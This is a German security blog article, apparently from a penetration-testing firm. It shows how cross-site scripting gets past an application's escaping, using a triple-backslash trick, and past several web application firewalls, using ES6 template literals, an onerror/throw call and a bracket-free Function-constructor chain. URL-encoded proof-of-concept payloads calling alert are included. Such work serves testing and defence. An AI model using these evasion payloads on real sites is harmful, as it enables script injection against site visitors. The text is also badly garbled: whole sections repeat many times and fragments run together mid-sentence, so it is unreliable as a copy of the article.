von Rafael Scheel
Web Application Firewalls (WAF) werden von den Herstellern als Universalwaffe gegen Cyber-Kriminelle genannt, weil sie es (angeblich) ermöglichen, dass die dahinterliegenden Applikationen sicherheitstechnisch nicht gepflegt werden müssen. Doch stimmt das? In diesem Artikel wird anhand von Beispielen aus der Realität aufgezeigt, wie JavaScript (JS) ungehindert an WAFs vorbeigeschleust werden kann.
Web Application Firewalls sind Reverse Proxies, welche zugleich typische Angriffe auf Webapplikationen, wie z.B. die OWASP Top 10 erkennen und auffällige Anfragen blockieren sollen. Obwohl solche Produkte äusserst empfehlenswert sind und in keinem Sicherheitsdispositiv fehlen dürfen, sollten diese nicht als Ersatz für das sichere Programmieren von Webapplikationen verstanden werden. Dies gilt speziell bei kontextspezifischen Angriffen wie z.B. Cross Site Scripting (XSS) oder SQL-Injections. Die Webapplikation kennt den Kontext, in welchem der Benutzerinput verarbeitet wird und ist daher der WAF immer überlegen.
Anhand eines Beispiels soll gezeigt werden, dass die WAF kaum eine Chance hat, wenn ein Angreifer aus einem JavaScript (JS) String mittels eines String-Escape Characters (z.B. ‘
, “
oder `
) ausbrechen kann. Das Beispiel stammt aus einem von Oneconsult kürzlich durchgeführten Web Application Penetration Test. Das eingesetzte Produkt, der Quellcode und die Parameter wurden anonymisiert. Die Suche der Applikation hat den Parameter SearchTerm
, welcher in einem JS für das Benutzer-Tracking verwendet wird. Setzt man den SearchTerm
auf 123test123
, entsteht folgendes Script:
var tracking =
{
"category":"search",
"lang":"de-ch",
"SearchTerm":"123test123",
"platform":"test",
"currency":"CHF"
}
Umgehen der Webapplikation
Die Webapplikation hat folgende Sicherheitsmechanismen implementiert:
- Es werden doppelte Hochkommas (
"
) durch einen vorangehender Backslash escaped (z.B. wird"
zu\"
). - Backslashes werden durch ein vorangehendes Backslash escaped (
\
wird zu\\
) - Diverse Elemente wie z.B.
'
,<
,>
,(
,)
werden HTML-Encoded und damit escaped.
Es wurde festgestellt, dass drei aufeinanderfolgende Backslashes nicht escaped werden. Da sich die ersten beiden aufheben, wird ein unescapeter Backslash gesendet. Dies führt dazu, dass der SearchTerm=asdf\\\“
nach dem Escapen des “
durch einen Backslash zu asdf\\\\“
wird. Die vier Backslashes heben sich gegenseitig auf, das doppelte Hochkomma ist dadurch frei und beendet den String.
In diesem Beispiel schützte eine WAF eines führenden Herstellers die Webapplikation. Wie in diesem Artikel später noch gezeigt wird, konnten auch zwei weitere WAFs anderer Hersteller umgangen werden. Als Proof Of Concept Payload soll alert(„Oneconsult“);
ausgeführt werden. Als erstes müssen die Klammern ()
und die doppelten Hochkommas ("
) umgangen werden (Siehe Punkt 3. der Sicherheitsmechanismen):
- Am einfachsten ist es, die mit ECMAScript 6 eingeführten Tagged Template Literals zu verwenden (implementiert in Firefox, Chrome / Opera und Edge, aber nicht im IE). Dies ermöglicht folgenden einfachen Payload:
alert`Oneconsult`;
Dabei wird
alert
mit dem ParameterOneconsult
aufgerufen. - In JS können Strings mittels
“
(%22),‘
(%27) aber auch weniger bekannt mittels`
(%60) escaped werden. Da die ersten beiden durch die Applikation verhindert werden, wird stattdessen`
(%60) verwendet. Interessanter wird es beim Umgehen der()
, da diese durch die Applikation gefiltert werden. Hier gibt es verschiedene Wege, generell funktioniert folgende Alternative zu den Template Literals (unterstützt von allen üblichen Browsern, inklusive IE):onerror=alert; throw `Oneconsult`;
- Alternativ können auch ähnliche Techniken wie in JSF**k verwendet werden. Grundsätzlich kann jedes JS ohne jegliche alphanumerischen Zeichen geschrieben werden. Diese werden jedoch extrem lang und zudem muss hier ungleich zu JSF**k auch auf die Klammern verzichtet werden. Daher werden die Techniken stark angepasst (auch hier werden wieder alle üblichen Browser ausser dem IE unterstützt, da dieser ECMAScript 6 nicht vollumfänglich implementiert):
- Es können die öffnende Klammer mit
[open+[]][0][13]
und die schliessende mit[open+[]][0][14]
ersetzt werden. Das Default-Objekt in JS ist window, daher entspricht open dem window.open. Der Aufruf von open ohne Klammern führt dazu, dass functionopen() {[native code]}
zurück gegeben wird. Dies soll in ein String konvertiert und die Klammern daraus verwendet werden. Als erstes wird die Rückgabe mittels+[]
in einen String konvertiert. Da keine geschweiften Klammern verwendet werden können, werden eckige Klammern umopen+[]
gesetzt, was jedoch daraus ein Array mit einem Element macht. Nun kann auf den String (ebenfalls ein Array) im Array zugegriffen werden. Hier wird das 14. und 15. Element gesucht, also(
und)
. alert
wird ebenfalls gerne gefiltert und ist daher hier mit derselben Technik aufgeteilt.- In
alert("Oneconsult")
braucht es noch zwei"
. Da diese mit\"
ersetzt werden, wird auf das"
mittels[`"`][0]
zugegriffen. - So wird der String
alert("Oneconsult")
gebildet. Normalerweise übergibt man dies der Funktioneval()
, eval triggert aber oft die WAF und hat andere Nachteile. Anstatt dessen wird der String dem Function Konstruktor übergeben.[][`constructor`]
ist der Konstruktor von String, dessen Parent-Konstruktor ist Function. Daher kann mittels[][`constructor`][`constructor`]
auf den Konstruktor von Function zugegriffen werden. Damit erhält man eine Funktion, welchealert("Oneconsult")
ausführt. - Die generierte Funktion muss noch ohne Parameter aufgerufen werden, dies geschieht mit den letzten
``
.
// Mit ersetzen von " durch \" [][`constructor`][`constructor`]`${`al`+[open+[]][0][11]+`rt`+[open+[]][0][13]+[`"`][0]+`Oneconsult`+[`"`][0]+[open+[]][0][14]} von Rafael Scheel Web Application Firewalls (WAF) werden von den Herstellern als Universalwaffe gegen Cyber-Kriminelle genannt, weil sie es (angeblich) ermöglichen, dass die dahinterliegenden Applikationen sicherheitstechnisch nicht gepflegt werden müssen. Doch stimmt das? In diesem Artikel wird anhand von Beispielen aus der Realität aufgezeigt, wie JavaScript (JS) ungehindert an WAFs vorbeigeschleust werden kann. Web Application Firewalls sind Reverse Proxies, welche zugleich typische Angriffe auf Webapplikationen, wie z.B. die OWASP Top 10 erkennen und auffällige Anfragen blockieren sollen. Obwohl solche Produkte äusserst empfehlenswert sind und in keinem Sicherheitsdispositiv fehlen dürfen, sollten diese nicht als Ersatz für das sichere Programmieren von Webapplikationen verstanden werden. Dies gilt speziell bei kontextspezifischen Angriffen wie z.B. Cross Site Scripting (XSS) oder SQL-Injections. Die Webapplikation kennt den Kontext, in welchem der Benutzerinput verarbeitet wird und ist daher der WAF immer überlegen. Anhand eines Beispiels soll gezeigt werden, dass die WAF kaum eine Chance hat, wenn ein Angreifer aus einem JavaScript (JS) String mittels eines String-Escape Characters (z.B.
‘
,“
oder`
) ausbrechen kann. Das Beispiel stammt aus einem von Oneconsult kürzlich durchgeführten Web Application Penetration Test. Das eingesetzte Produkt, der Quellcode und die Parameter wurden anonymisiert. Die Suche der Applikation hat den ParameterSearchTerm
, welcher in einem JS für das Benutzer-Tracking verwendet wird. Setzt man denSearchTerm
auf123test123
, entsteht folgendes Script:var tracking = { "category":"search", "lang":"de-ch", "SearchTerm":"123test123", "platform":"test", "currency":"CHF" }
Umgehen der Webapplikation
Die Webapplikation hat folgende Sicherheitsmechanismen implementiert:
- Es werden doppelte Hochkommas (
"
) durch einen vorangehender Backslash escaped (z.B. wird"
zu\"
). - Backslashes werden durch ein vorangehendes Backslash escaped (
\
wird zu\\
) - Diverse Elemente wie z.B.
'
,<
,>
,(
,)
werden HTML-Encoded und damit escaped.
Es wurde festgestellt, dass drei aufeinanderfolgende Backslashes nicht escaped werden. Da sich die ersten beiden aufheben, wird ein unescapeter Backslash gesendet. Dies führt dazu, dass der
SearchTerm=asdf\\\“
nach dem Escapen des“
durch einen Backslash zuasdf\\\\“
wird. Die vier Backslashes heben sich gegenseitig auf, das doppelte Hochkomma ist dadurch frei und beendet den String.In diesem Beispiel schützte eine WAF eines führenden Herstellers die Webapplikation. Wie in diesem Artikel später noch gezeigt wird, konnten auch zwei weitere WAFs anderer Hersteller umgangen werden. Als Proof Of Concept Payload soll
alert(„Oneconsult“);
ausgeführt werden. Als erstes müssen die Klammern()
und die doppelten Hochkommas ("
) umgangen werden (Siehe Punkt 3. der Sicherheitsmechanismen): - Es können die öffnende Klammer mit
- Am einfachsten ist es, die mit ECMAScript 6 eingeführten Tagged Template Literals zu verwenden (implementiert in Firefox, Chrome / Opera und Edge, aber nicht im IE). Dies ermöglicht folgenden einfachen Payload:
alert`Oneconsult`;
Dabei wird
alert
mit dem ParameterOneconsult
aufgerufen. - In JS können Strings mittels
“
(%22),‘
(%27) aber auch weniger bekannt mittels`
(%60) escaped werden. Da die ersten beiden durch die Applikation verhindert werden, wird stattdessen`
(%60) verwendet. Interessanter wird es beim Umgehen der()
, da diese durch die Applikation gefiltert werden. Hier gibt es verschiedene Wege, generell funktioniert folgende Alternative zu den Template Literals (unterstützt von allen üblichen Browsern, inklusive IE):onerror=alert; throw `Oneconsult`;
Alternativ können auch ähnliche Techniken wie in JSF**k verwendet werden. Grundsätzlich kann jedes JS ohne jegliche alphanumerischen Zeichen geschrieben werden. Diese werden jedoch extrem lang und zudem muss hier ungleich zu JSF**k auch auf die Klammern verzichtet werden. Daher werden die Techniken stark angepasst (auch hier werden wieder alle üblichen Browser ausser dem IE unterstützt, da dieser ECMAScript 6 nicht vollumfänglich implementiert):
- Es können die öffnende Klammer mit
[open+[]][0][13]
und die schliessende mit[open+[]][0][14]
ersetzt werden. Das Default-Objekt in JS ist window, daher entspricht open dem window.open. Der Aufruf von open ohne Klammern führt dazu, dass functionopen() {[native code]}
zurück gegeben wird. Dies soll in ein String konvertiert und die Klammern daraus verwendet werden. Als erstes wird die Rückgabe mittels+[]
in einen String konvertiert. Da keine geschweiften Klammern verwendet werden können, werden eckige Klammern umopen+[]
gesetzt, was jedoch daraus ein Array mit einem Element macht. Nun kann auf den String (ebenfalls ein Array) im Array zugegriffen werden. Hier wird das 14. und 15. Element gesucht, also(
und)
. alert
wird ebenfalls gerne gefiltert und ist daher hier mit derselben Technik aufgeteilt.- In
alert("Oneconsult")
braucht es noch zwei"
. Da diese mit\"
ersetzt werden, wird auf das"
mittels[`"`][0]
zugegriffen. - So wird der String
alert("Oneconsult")
gebildet. Normalerweise übergibt man dies der Funktioneval()
, eval triggert aber oft die WAF und hat andere Nachteile. Anstatt dessen wird der String dem Function Konstruktor übergeben.[][`constructor`]
ist der Konstruktor von String, dessen Parent-Konstruktor ist Function. Daher kann mittels[][`constructor`][`constructor`]
auf den Konstruktor von Function zugegriffen werden. Damit erhält man eine Funktion, welchealert("Oneconsult")
ausführt. - Die generierte Funktion muss noch ohne Parameter aufgerufen werden, dies geschieht mit den letzten
``
.
«
// Ohne ersetzen von » durch \»
[][`constructor`][`constructor`]`${`al`+[open+[]][0][11]+`rt`+[open+[]][0][13]+[`\»`][0]+`Oneconsult`+[`\»`][0]+[open+[]][0][14]}von Rafael Scheel
Web Application Firewalls (WAF) werden von den Herstellern als Universalwaffe gegen Cyber-Kriminelle genannt, weil sie es (angeblich) ermöglichen, dass die dahinterliegenden Applikationen sicherheitstechnisch nicht gepflegt werden müssen. Doch stimmt das? In diesem Artikel wird anhand von Beispielen aus der Realität aufgezeigt, wie JavaScript (JS) ungehindert an WAFs vorbeigeschleust werden kann.
Web Application Firewalls sind Reverse Proxies, welche zugleich typische Angriffe auf Webapplikationen, wie z.B. die OWASP Top 10 erkennen und auffällige Anfragen blockieren sollen. Obwohl solche Produkte äusserst empfehlenswert sind und in keinem Sicherheitsdispositiv fehlen dürfen, sollten diese nicht als Ersatz für das sichere Programmieren von Webapplikationen verstanden werden. Dies gilt speziell bei kontextspezifischen Angriffen wie z.B. Cross Site Scripting (XSS) oder SQL-Injections. Die Webapplikation kennt den Kontext, in welchem der Benutzerinput verarbeitet wird und ist daher der WAF immer überlegen.
Anhand eines Beispiels soll gezeigt werden, dass die WAF kaum eine Chance hat, wenn ein Angreifer aus einem JavaScript (JS) String mittels eines String-Escape Characters (z.B.‘
,“
oder`
) ausbrechen kann. Das Beispiel stammt aus einem von Oneconsult kürzlich durchgeführten Web Application Penetration Test. Das eingesetzte Produkt, der Quellcode und die Parameter wurden anonymisiert. Die Suche der Applikation hat den ParameterSearchTerm
, welcher in einem JS für das Benutzer-Tracking verwendet wird. Setzt man denSearchTerm
auf123test123
, entsteht folgendes Script:var tracking = { "category":"search", "lang":"de-ch", "SearchTerm":"123test123", "platform":"test", "currency":"CHF" }
Umgehen der Webapplikation
Die Webapplikation hat folgende Sicherheitsmechanismen implementiert:- Es werden doppelte Hochkommas (
"
) durch einen vorangehender Backslash escaped (z.B. wird"
zu\"
). - Backslashes werden durch ein vorangehendes Backslash escaped (
\
wird zu\\
) - Diverse Elemente wie z.B.
'
,<
,>
,(
,)
werden HTML-Encoded und damit escaped.
Es wurde festgestellt, dass drei aufeinanderfolgende Backslashes nicht escaped werden. Da sich die ersten beiden aufheben, wird ein unescapeter Backslash gesendet. Dies führt dazu, dass derSearchTerm=asdf\\\“
nach dem Escapen des“
durch einen Backslash zuasdf\\\\“
wird. Die vier Backslashes heben sich gegenseitig auf, das doppelte Hochkomma ist dadurch frei und beendet den String.
In diesem Beispiel schützte eine WAF eines führenden Herstellers die Webapplikation. Wie in diesem Artikel später noch gezeigt wird, konnten auch zwei weitere WAFs anderer Hersteller umgangen werden. Als Proof Of Concept Payload sollalert(„Oneconsult“);
ausgeführt werden. Als erstes müssen die Klammern()
und die doppelten Hochkommas ("
) umgangen werden (Siehe Punkt 3. der Sicherheitsmechanismen):- Es können die öffnende Klammer mit
- Am einfachsten ist es, die mit ECMAScript 6 eingeführten Tagged Template Literals zu verwenden (implementiert in Firefox, Chrome / Opera und Edge, aber nicht im IE). Dies ermöglicht folgenden einfachen Payload:
alert`Oneconsult`;
Dabei wird
alert
mit dem ParameterOneconsult
aufgerufen. - In JS können Strings mittels
“
(%22),‘
(%27) aber auch weniger bekannt mittels`
(%60) escaped werden. Da die ersten beiden durch die Applikation verhindert werden, wird stattdessen`
(%60) verwendet. Interessanter wird es beim Umgehen der()
, da diese durch die Applikation gefiltert werden. Hier gibt es verschiedene Wege, generell funktioniert folgende Alternative zu den Template Literals (unterstützt von allen üblichen Browsern, inklusive IE):onerror=alert; throw `Oneconsult`;
Alternativ können auch ähnliche Techniken wie in JSF**k verwendet werden. Grundsätzlich kann jedes JS ohne jegliche alphanumerischen Zeichen geschrieben werden. Diese werden jedoch extrem lang und zudem muss hier ungleich zu JSF**k auch auf die Klammern verzichtet werden. Daher werden die Techniken stark angepasst (auch hier werden wieder alle üblichen Browser ausser dem IE unterstützt, da dieser ECMAScript 6 nicht vollumfänglich implementiert):
- Es können die öffnende Klammer mit
[open+[]][0][13]
und die schliessende mit[open+[]][0][14]
ersetzt werden. Das Default-Objekt in JS ist window, daher entspricht open dem window.open. Der Aufruf von open ohne Klammern führt dazu, dass functionopen() {[native code]}
zurück gegeben wird. Dies soll in ein String konvertiert und die Klammern daraus verwendet werden. Als erstes wird die Rückgabe mittels+[]
in einen String konvertiert. Da keine geschweiften Klammern verwendet werden können, werden eckige Klammern umopen+[]
gesetzt, was jedoch daraus ein Array mit einem Element macht. Nun kann auf den String (ebenfalls ein Array) im Array zugegriffen werden. Hier wird das 14. und 15. Element gesucht, also(
und)
. alert
wird ebenfalls gerne gefiltert und ist daher hier mit derselben Technik aufgeteilt.- In
alert("Oneconsult")
braucht es noch zwei"
. Da diese mit\"
ersetzt werden, wird auf das"
mittels[`"`][0]
zugegriffen. - So wird der String
alert("Oneconsult")
gebildet. Normalerweise übergibt man dies der Funktioneval()
, eval triggert aber oft die WAF und hat andere Nachteile. Anstatt dessen wird der String dem Function Konstruktor übergeben.[][`constructor`]
ist der Konstruktor von String, dessen Parent-Konstruktor ist Function. Daher kann mittels[][`constructor`][`constructor`]
auf den Konstruktor von Function zugegriffen werden. Damit erhält man eine Funktion, welchealert("Oneconsult")
ausführt. - Die generierte Funktion muss noch ohne Parameter aufgerufen werden, dies geschieht mit den letzten
``
.
``
- Es können die öffnende Klammer mit
Diese drei Varianten funktionieren alle. Dabei muss die Zweite noch so angepasst werden, dass sie von der WAF nicht erkannt wird.
Umgehen der WAF (Bypassing)
Überraschenderweise sind alle drei getesteten WAFs noch nicht auf ES6 adaptiert. Dies bedeutet, dass alert(123)
geblockt während alert`123`
jedoch ungehindert weitergeleitet wird. Entsprechend kommen die Payloads 1 + 3 ungehindert an allen getesteten WAFs vorbei. Die beiden URL-encodeten Payloads:
//1. Beispiel
SearchTerm=\\\"-`Oneconsult`,//
//3. Beispiel
SearchTerm=\\\"};%0A+[][`constructor`][`constructor`]`${`al`%2b[open%2b[]][0][11]%2b`rt`%2b[open%2b[]][0][13]%2b[`"`][0]%2b`Oneconsult`%2b[`"`][0]%2b[open%2b[]][0][14]}
von Rafael Scheel
Web Application Firewalls (WAF) werden von den Herstellern als Universalwaffe gegen Cyber-Kriminelle genannt, weil sie es (angeblich) ermöglichen, dass die dahinterliegenden Applikationen sicherheitstechnisch nicht gepflegt werden müssen. Doch stimmt das? In diesem Artikel wird anhand von Beispielen aus der Realität aufgezeigt, wie JavaScript (JS) ungehindert an WAFs vorbeigeschleust werden kann.
Web Application Firewalls sind Reverse Proxies, welche zugleich typische Angriffe auf Webapplikationen, wie z.B. die OWASP Top 10 erkennen und auffällige Anfragen blockieren sollen. Obwohl solche Produkte äusserst empfehlenswert sind und in keinem Sicherheitsdispositiv fehlen dürfen, sollten diese nicht als Ersatz für das sichere Programmieren von Webapplikationen verstanden werden. Dies gilt speziell bei kontextspezifischen Angriffen wie z.B. Cross Site Scripting (XSS) oder SQL-Injections. Die Webapplikation kennt den Kontext, in welchem der Benutzerinput verarbeitet wird und ist daher der WAF immer überlegen.
Anhand eines Beispiels soll gezeigt werden, dass die WAF kaum eine Chance hat, wenn ein Angreifer aus einem JavaScript (JS) String mittels eines String-Escape Characters (z.B. ‘
, “
oder `
) ausbrechen kann. Das Beispiel stammt aus einem von Oneconsult kürzlich durchgeführten Web Application Penetration Test. Das eingesetzte Produkt, der Quellcode und die Parameter wurden anonymisiert. Die Suche der Applikation hat den Parameter SearchTerm
, welcher in einem JS für das Benutzer-Tracking verwendet wird. Setzt man den SearchTerm
auf 123test123
, entsteht folgendes Script:
var tracking =
{
"category":"search",
"lang":"de-ch",
"SearchTerm":"123test123",
"platform":"test",
"currency":"CHF"
}
Umgehen der Webapplikation
Die Webapplikation hat folgende Sicherheitsmechanismen implementiert:
- Es werden doppelte Hochkommas (
"
) durch einen vorangehender Backslash escaped (z.B. wird"
zu\"
). - Backslashes werden durch ein vorangehendes Backslash escaped (
\
wird zu\\
) - Diverse Elemente wie z.B.
'
,<
,>
,(
,)
werden HTML-Encoded und damit escaped.
Es wurde festgestellt, dass drei aufeinanderfolgende Backslashes nicht escaped werden. Da sich die ersten beiden aufheben, wird ein unescapeter Backslash gesendet. Dies führt dazu, dass der SearchTerm=asdf\\\“
nach dem Escapen des “
durch einen Backslash zu asdf\\\\“
wird. Die vier Backslashes heben sich gegenseitig auf, das doppelte Hochkomma ist dadurch frei und beendet den String.
In diesem Beispiel schützte eine WAF eines führenden Herstellers die Webapplikation. Wie in diesem Artikel später noch gezeigt wird, konnten auch zwei weitere WAFs anderer Hersteller umgangen werden. Als Proof Of Concept Payload soll alert(„Oneconsult“);
ausgeführt werden. Als erstes müssen die Klammern ()
und die doppelten Hochkommas ("
) umgangen werden (Siehe Punkt 3. der Sicherheitsmechanismen):
- Am einfachsten ist es, die mit ECMAScript 6 eingeführten Tagged Template Literals zu verwenden (implementiert in Firefox, Chrome / Opera und Edge, aber nicht im IE). Dies ermöglicht folgenden einfachen Payload:
alert`Oneconsult`;
Dabei wird
alert
mit dem ParameterOneconsult
aufgerufen. - In JS können Strings mittels
“
(%22),‘
(%27) aber auch weniger bekannt mittels`
(%60) escaped werden. Da die ersten beiden durch die Applikation verhindert werden, wird stattdessen`
(%60) verwendet. Interessanter wird es beim Umgehen der()
, da diese durch die Applikation gefiltert werden. Hier gibt es verschiedene Wege, generell funktioniert folgende Alternative zu den Template Literals (unterstützt von allen üblichen Browsern, inklusive IE):onerror=alert; throw `Oneconsult`;
- Alternativ können auch ähnliche Techniken wie in JSF**k verwendet werden. Grundsätzlich kann jedes JS ohne jegliche alphanumerischen Zeichen geschrieben werden. Diese werden jedoch extrem lang und zudem muss hier ungleich zu JSF**k auch auf die Klammern verzichtet werden. Daher werden die Techniken stark angepasst (auch hier werden wieder alle üblichen Browser ausser dem IE unterstützt, da dieser ECMAScript 6 nicht vollumfänglich implementiert):
- Es können die öffnende Klammer mit
[open+[]][0][13]
und die schliessende mit[open+[]][0][14]
ersetzt werden. Das Default-Objekt in JS ist window, daher entspricht open dem window.open. Der Aufruf von open ohne Klammern führt dazu, dass functionopen() {[native code]}
zurück gegeben wird. Dies soll in ein String konvertiert und die Klammern daraus verwendet werden. Als erstes wird die Rückgabe mittels+[]
in einen String konvertiert. Da keine geschweiften Klammern verwendet werden können, werden eckige Klammern umopen+[]
gesetzt, was jedoch daraus ein Array mit einem Element macht. Nun kann auf den String (ebenfalls ein Array) im Array zugegriffen werden. Hier wird das 14. und 15. Element gesucht, also(
und)
. alert
wird ebenfalls gerne gefiltert und ist daher hier mit derselben Technik aufgeteilt.- In
alert("Oneconsult")
braucht es noch zwei"
. Da diese mit\"
ersetzt werden, wird auf das"
mittels[`"`][0]
zugegriffen. - So wird der String
alert("Oneconsult")
gebildet. Normalerweise übergibt man dies der Funktioneval()
, eval triggert aber oft die WAF und hat andere Nachteile. Anstatt dessen wird der String dem Function Konstruktor übergeben.[][`constructor`]
ist der Konstruktor von String, dessen Parent-Konstruktor ist Function. Daher kann mittels[][`constructor`][`constructor`]
auf den Konstruktor von Function zugegriffen werden. Damit erhält man eine Funktion, welchealert("Oneconsult")
ausführt. - Die generierte Funktion muss noch ohne Parameter aufgerufen werden, dies geschieht mit den letzten
``
.
// Mit ersetzen von " durch \" [][`constructor`][`constructor`]`${`al`+[open+[]][0][11]+`rt`+[open+[]][0][13]+[`"`][0]+`Oneconsult`+[`"`][0]+[open+[]][0][14]} von Rafael Scheel Web Application Firewalls (WAF) werden von den Herstellern als Universalwaffe gegen Cyber-Kriminelle genannt, weil sie es (angeblich) ermöglichen, dass die dahinterliegenden Applikationen sicherheitstechnisch nicht gepflegt werden müssen. Doch stimmt das? In diesem Artikel wird anhand von Beispielen aus der Realität aufgezeigt, wie JavaScript (JS) ungehindert an WAFs vorbeigeschleust werden kann. Web Application Firewalls sind Reverse Proxies, welche zugleich typische Angriffe auf Webapplikationen, wie z.B. die OWASP Top 10 erkennen und auffällige Anfragen blockieren sollen. Obwohl solche Produkte äusserst empfehlenswert sind und in keinem Sicherheitsdispositiv fehlen dürfen, sollten diese nicht als Ersatz für das sichere Programmieren von Webapplikationen verstanden werden. Dies gilt speziell bei kontextspezifischen Angriffen wie z.B. Cross Site Scripting (XSS) oder SQL-Injections. Die Webapplikation kennt den Kontext, in welchem der Benutzerinput verarbeitet wird und ist daher der WAF immer überlegen. Anhand eines Beispiels soll gezeigt werden, dass die WAF kaum eine Chance hat, wenn ein Angreifer aus einem JavaScript (JS) String mittels eines String-Escape Characters (z.B.
‘
,“
oder`
) ausbrechen kann. Das Beispiel stammt aus einem von Oneconsult kürzlich durchgeführten Web Application Penetration Test. Das eingesetzte Produkt, der Quellcode und die Parameter wurden anonymisiert. Die Suche der Applikation hat den ParameterSearchTerm
, welcher in einem JS für das Benutzer-Tracking verwendet wird. Setzt man denSearchTerm
auf123test123
, entsteht folgendes Script:var tracking = { "category":"search", "lang":"de-ch", "SearchTerm":"123test123", "platform":"test", "currency":"CHF" }
Umgehen der Webapplikation
Die Webapplikation hat folgende Sicherheitsmechanismen implementiert:
- Es werden doppelte Hochkommas (
"
) durch einen vorangehender Backslash escaped (z.B. wird"
zu\"
). - Backslashes werden durch ein vorangehendes Backslash escaped (
\
wird zu\\
) - Diverse Elemente wie z.B.
'
,<
,>
,(
,)
werden HTML-Encoded und damit escaped.
Es wurde festgestellt, dass drei aufeinanderfolgende Backslashes nicht escaped werden. Da sich die ersten beiden aufheben, wird ein unescapeter Backslash gesendet. Dies führt dazu, dass der
SearchTerm=asdf\\\“
nach dem Escapen des“
durch einen Backslash zuasdf\\\\“
wird. Die vier Backslashes heben sich gegenseitig auf, das doppelte Hochkomma ist dadurch frei und beendet den String.In diesem Beispiel schützte eine WAF eines führenden Herstellers die Webapplikation. Wie in diesem Artikel später noch gezeigt wird, konnten auch zwei weitere WAFs anderer Hersteller umgangen werden. Als Proof Of Concept Payload soll
alert(„Oneconsult“);
ausgeführt werden. Als erstes müssen die Klammern()
und die doppelten Hochkommas ("
) umgangen werden (Siehe Punkt 3. der Sicherheitsmechanismen): - Es können die öffnende Klammer mit
- Am einfachsten ist es, die mit ECMAScript 6 eingeführten Tagged Template Literals zu verwenden (implementiert in Firefox, Chrome / Opera und Edge, aber nicht im IE). Dies ermöglicht folgenden einfachen Payload:
alert`Oneconsult`;
Dabei wird
alert
mit dem ParameterOneconsult
aufgerufen. - In JS können Strings mittels
“
(%22),‘
(%27) aber auch weniger bekannt mittels`
(%60) escaped werden. Da die ersten beiden durch die Applikation verhindert werden, wird stattdessen`
(%60) verwendet. Interessanter wird es beim Umgehen der()
, da diese durch die Applikation gefiltert werden. Hier gibt es verschiedene Wege, generell funktioniert folgende Alternative zu den Template Literals (unterstützt von allen üblichen Browsern, inklusive IE):onerror=alert; throw `Oneconsult`;
Alternativ können auch ähnliche Techniken wie in JSF**k verwendet werden. Grundsätzlich kann jedes JS ohne jegliche alphanumerischen Zeichen geschrieben werden. Diese werden jedoch extrem lang und zudem muss hier ungleich zu JSF**k auch auf die Klammern verzichtet werden. Daher werden die Techniken stark angepasst (auch hier werden wieder alle üblichen Browser ausser dem IE unterstützt, da dieser ECMAScript 6 nicht vollumfänglich implementiert):
- Es können die öffnende Klammer mit
[open+[]][0][13]
und die schliessende mit[open+[]][0][14]
ersetzt werden. Das Default-Objekt in JS ist window, daher entspricht open dem window.open. Der Aufruf von open ohne Klammern führt dazu, dass functionopen() {[native code]}
zurück gegeben wird. Dies soll in ein String konvertiert und die Klammern daraus verwendet werden. Als erstes wird die Rückgabe mittels+[]
in einen String konvertiert. Da keine geschweiften Klammern verwendet werden können, werden eckige Klammern umopen+[]
gesetzt, was jedoch daraus ein Array mit einem Element macht. Nun kann auf den String (ebenfalls ein Array) im Array zugegriffen werden. Hier wird das 14. und 15. Element gesucht, also(
und)
. alert
wird ebenfalls gerne gefiltert und ist daher hier mit derselben Technik aufgeteilt.- In
alert("Oneconsult")
braucht es noch zwei"
. Da diese mit\"
ersetzt werden, wird auf das"
mittels[`"`][0]
zugegriffen. - So wird der String
alert("Oneconsult")
gebildet. Normalerweise übergibt man dies der Funktioneval()
, eval triggert aber oft die WAF und hat andere Nachteile. Anstatt dessen wird der String dem Function Konstruktor übergeben.[][`constructor`]
ist der Konstruktor von String, dessen Parent-Konstruktor ist Function. Daher kann mittels[][`constructor`][`constructor`]
auf den Konstruktor von Function zugegriffen werden. Damit erhält man eine Funktion, welchealert("Oneconsult")
ausführt. - Die generierte Funktion muss noch ohne Parameter aufgerufen werden, dies geschieht mit den letzten
``
.
«
// Ohne ersetzen von » durch \»
[][`constructor`][`constructor`]`${`al`+[open+[]][0][11]+`rt`+[open+[]][0][13]+[`\»`][0]+`Oneconsult`+[`\»`][0]+[open+[]][0][14]}von Rafael Scheel
Web Application Firewalls (WAF) werden von den Herstellern als Universalwaffe gegen Cyber-Kriminelle genannt, weil sie es (angeblich) ermöglichen, dass die dahinterliegenden Applikationen sicherheitstechnisch nicht gepflegt werden müssen. Doch stimmt das? In diesem Artikel wird anhand von Beispielen aus der Realität aufgezeigt, wie JavaScript (JS) ungehindert an WAFs vorbeigeschleust werden kann.
Web Application Firewalls sind Reverse Proxies, welche zugleich typische Angriffe auf Webapplikationen, wie z.B. die OWASP Top 10 erkennen und auffällige Anfragen blockieren sollen. Obwohl solche Produkte äusserst empfehlenswert sind und in keinem Sicherheitsdispositiv fehlen dürfen, sollten diese nicht als Ersatz für das sichere Programmieren von Webapplikationen verstanden werden. Dies gilt speziell bei kontextspezifischen Angriffen wie z.B. Cross Site Scripting (XSS) oder SQL-Injections. Die Webapplikation kennt den Kontext, in welchem der Benutzerinput verarbeitet wird und ist daher der WAF immer überlegen.
Anhand eines Beispiels soll gezeigt werden, dass die WAF kaum eine Chance hat, wenn ein Angreifer aus einem JavaScript (JS) String mittels eines String-Escape Characters (z.B.‘
,“
oder`
) ausbrechen kann. Das Beispiel stammt aus einem von Oneconsult kürzlich durchgeführten Web Application Penetration Test. Das eingesetzte Produkt, der Quellcode und die Parameter wurden anonymisiert. Die Suche der Applikation hat den ParameterSearchTerm
, welcher in einem JS für das Benutzer-Tracking verwendet wird. Setzt man denSearchTerm
auf123test123
, entsteht folgendes Script:var tracking = { "category":"search", "lang":"de-ch", "SearchTerm":"123test123", "platform":"test", "currency":"CHF" }
Umgehen der Webapplikation
Die Webapplikation hat folgende Sicherheitsmechanismen implementiert:- Es werden doppelte Hochkommas (
"
) durch einen vorangehender Backslash escaped (z.B. wird"
zu\"
). - Backslashes werden durch ein vorangehendes Backslash escaped (
\
wird zu\\
) - Diverse Elemente wie z.B.
'
,<
,>
,(
,)
werden HTML-Encoded und damit escaped.
Es wurde festgestellt, dass drei aufeinanderfolgende Backslashes nicht escaped werden. Da sich die ersten beiden aufheben, wird ein unescapeter Backslash gesendet. Dies führt dazu, dass derSearchTerm=asdf\\\“
nach dem Escapen des“
durch einen Backslash zuasdf\\\\“
wird. Die vier Backslashes heben sich gegenseitig auf, das doppelte Hochkomma ist dadurch frei und beendet den String.
